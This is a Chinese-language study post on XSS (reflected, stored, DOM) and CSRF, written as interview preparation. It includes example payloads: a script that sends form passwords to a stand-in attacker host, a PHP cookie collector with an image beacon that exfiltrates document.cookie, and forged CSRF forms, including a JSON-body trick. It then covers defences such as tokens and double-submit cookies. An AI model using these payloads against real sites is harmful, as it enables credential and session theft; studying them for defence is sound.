前言
关于XSS和CRSF是面试中的高频问题,我想答的更好一些,所以= =。今天来总结一下啦。
XSS
xss(cross site scripting) 为啥是X呢。。X就是CROSS啦
也可以成为javascript injection。
它是一种攻击的方式,利用XSS可以造成CRSF。
XSS类型有三种:
Reflected XSS(反射形XSS)
Stored XSS(存储型XSS)
DOM-Based XSS(基于DOM的XSS)
先说反射形XSS,顾名思义呀~它需要被用户触发。
一般是通过在URL后添加参数来进行注入。
我们在要攻击的地址后面加上我们经过编码过的script标签。
而我们注入的scrpit标签有很多种方式来进行攻击,如果攻击产生了跨域请求,就是CRSF啦。
来举点例子XSS的例子吧。
document.forms[0].onsubmit = function() {
var username = document.forms[0]["username"].value;
var password = document.forms[0]["password"].value;
var password1 = document.forms[0]["password1"].value;
var password2 = document.forms[0]["password2"].value;
var req = new XMLHttpRequest();
req.open("GET", 'http://myattacksite.com/collector.jsp?u='
+ username + '&p=' + password + '&p1=' + password1 +
'&p2=' + password2, false);
req.send();
};
当然这是我复制过来的。注入的js。
我们对他进行encode后再放在一些留言板或者其他人会点击的地方。
http://localhost:8080/Demos/?username=%22%3E%3Cscript+src%3d%22http://myattacksite.com/js/malicious.js%22%3E%3C/sc
这样就看不出来了。这样用户提交表单的时候,会把信息发给我们搜集信息的jsp界面。当然把cookie发过去当然也行啦。
再举一个例子:
如果某网站的搜索框在我们搜索的时候,把我们的把我们的输入的内容不经过任何处理就用于请求的话。我们就可以对此进行攻击了。
<?php
$cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
?>
比如我们搜集cookie的php页面如上。。
我们发送请求的js如下:
var img = new Image();
img.src = "http://hacker.qq.com/hack.php?q="+document.cookie;
document.body.append(img);
当然img display none啦。
我们就可以构造一个连接
点击就送998
来攻击了。解码后q的参数是我们注入的脚本标签。
当用户登录以后,我们搞一个非主流的图片在角落。角落里一个虚假的X,用户点击关闭,就执行了我们这个命令,发送当前的cookie到我们搜集cookie的服务器了。
其次,发邮件其实也是可以攻击的。奇奇怪怪的邮件或许你不会点里面的链接,但是如果偷手机的知道你邮箱了,发给你邮件,说点击查看你丢失手机的信息啊,编的像真的一样,你登陆邮箱的状态下,自然也被攻击了。
好,下面是存储型XSS:
存储型XSS跟反射形的区别在于,提交的代码会存储在服务端。下次请求页面的时候,会再次提交XSS代码。
如果绝大部分情况下反射形XSS,输入在哪里,输出就在哪里。
存储型XSS就是输入在A处,输出可能出现在任何其他用到该数据的地方了。
比较典型的是留言板的XSS,用户提交了XSS的代码再留言板。用户查看留言板时,就会触发XSS。
再比如,网页版的QQ,如果昵称不过滤,我们通过修改昵称把昵称保存到群的聊天记录里面,那么你要是点开了这个群,查看了聊天记录,或者进来以后,攻击者发了聊天内容,那么你就可能会受到攻击了!
再举一个。。https://wizardforcel.gitbooks.io/xss-naxienian/content/19.html
我还是贴过来吧。。这个比较高端一点,利用style的behavior中的src来进行攻击。
最后是DOM型的XSS。
它跟反射形和存储型的区别是,他不需要服务端的参与,触发XSS靠的是客户端的DOM解析。
它涉及的层次不是服务端和浏览器端,而是浏览器端的JS和HTML层。
举个栗子。
来自知乎:
百度翻译的一个XSS漏洞。百度翻译出了给出翻译结果之外,如果这个词有百度百科词条的话,会通过ajax拉取百度百科的内容通过innerHTML插入页面,并且没有经过escape。这导致百度百科的内容中的标签直接就可以生效了。这样一来只要修改百度百科的词条,就能造成百度翻译页面的XSS漏洞。。
crsf
再来说说跨域请求伪造。
主要内容来自这里。
http://blog.techbridge.cc/2017/02/25/csrf-introduction/
CRSF之所以能够发送请求是因为发送时,服务端认为是你本人进行的操作。
那举个例子(当然是上面链接里的)
删除的标签:
刪除
点击以后发送请求然后删除了这一个条目,嗯。删除直接走get,也是很棒。。。
那么非常容易就可以伪造请求了
開始測驗
他要是登陆了自己的博客,然后你发送一个心理测验网站,总之,诱导他点的那种。点击以后他就发送get请求,因为他登陆了,当然服务端认为这是他本人发送的删除请求,就自动执行了。
可是,用户当然不会这么白痴。点开一个莫名其妙的页面在点里面的内容。
就像我。。点开那些页游的宣传页面会直接关的。。
但是
<img src='https://small-min.blog.com/delete?id=3' width='0' height='0' />
<a href='/test'>開始測驗</a>
这样呢。。。你一点开就发送请求了。。。
好,这种删除按钮是不会get的。。
那post列。
<form action="https://small-min.blog.com/delete" method="POST">
<input type="hidden" name="id" value="3"/>
<input type="submit" value="開始測驗"/>
</form>
介样就行了。。有个东西叫做form。。
那后端改成只能接受json呢?
当然也是不行的。。
<form action="https://small-min.blog.com/delete" method="post" enctype="text/plain">
<input name='{"id":3, "ignore_me":"' value='test"}' type='hidden'>
<input type="submit"
value="delete!"/>
</form>
我们可以配合enctype和name来产生json结构的request body。
{"id": 3,
"ignore_me": "=test"
}
当然后端可以验证enctype来避免这个请求。
好,那么如果你的api接受cors请求。。
那无解了。
crsf的关键在于其他的域可以跨域发送请求。
那么只要检测到不是自己的域发送来的请求就拦截掉不就可以了吗?
那么CRSF的解决方法有:
检查Referer
const referer = request.headers.referer;
if (referer.indexOf(‘small-min.blog.com’) > -1) {
// pass
}
但是攻击域名可以改成 small-min.blog.com.attack.com。。啊。。所以检查referer并不完善。
加验证码,简讯验证码
这样就安全了。攻击者不知道图形验证码,也不知道短信验证码。但是这很麻烦。。
加token
<form action="https://small-min.blog.com/delete" method="POST">
<input type="hidden" name="id" value="3"/>
<input type="hidden" name="csrftoken" value="fj1iro2jro12ijoi1"/>
<input type="submit" value="刪除文章"/>
</form>
我们在发送请求的时候, 服务端会对比crsftoken与自己session里面存的是不是一样的。是的话,就能确认这是由本人发出的request,这个csrftoken有server产生,并且每一段不同的session就应该要更换一次。你无法知道用户获得的令牌是啥。
但是如果你的页面支持cors,那他可以在它的页面发起一个请求,拿到这个token。。不过前提是,你的server接收这个domain的request。
double submit cookie
上面的解法,token保存在服务器里面,而这种方法,token保存在客户端。
当在session中产生token的时候,让服务端为client设置一个cookie。值相同。
由于攻击者是无法在他的domain里面取设定攻击网站的cookie的,所以它发上来的cookie里面肯定没有值为token的键。
这种方法已经很好了。但是却可以通过子域名来改写你的cookie来进行攻击。http://security.stackexchange.com/questions/59470/double-submit-cookies-vulnerabilities
客户端的Double Submit Cookie
原博客中关于为什么在客户端设置token讲的有些错误。
SPA是可以拿到session的。
而客户端也是可以生成CRSF token
// `xsrfCookieName` is the name of the cookie to use as a value for xsrf token
xsrfCookieName: 'XSRF-TOKEN', // default
// `xsrfHeaderName` is the name of the http header that carries the xsrf token value
xsrfHeaderName: 'X-XSRF-TOKEN', // default
如上所示,xsrfCookieName是我们用来生成crsf token的
而xsrfheaderName使我们的crsf token的名字。
我们可以利用cookie来生成crsf token。这个cookie是有服务端生成的,cookie的名字需要遵循axios的设置。默认的名字是XSRF-TOKEN。
//待完成 - axios这两个详细的原理
结语
这一次就总结这一些。关于安全,其实只有经历过实际的情况,才会有比较直观的感受。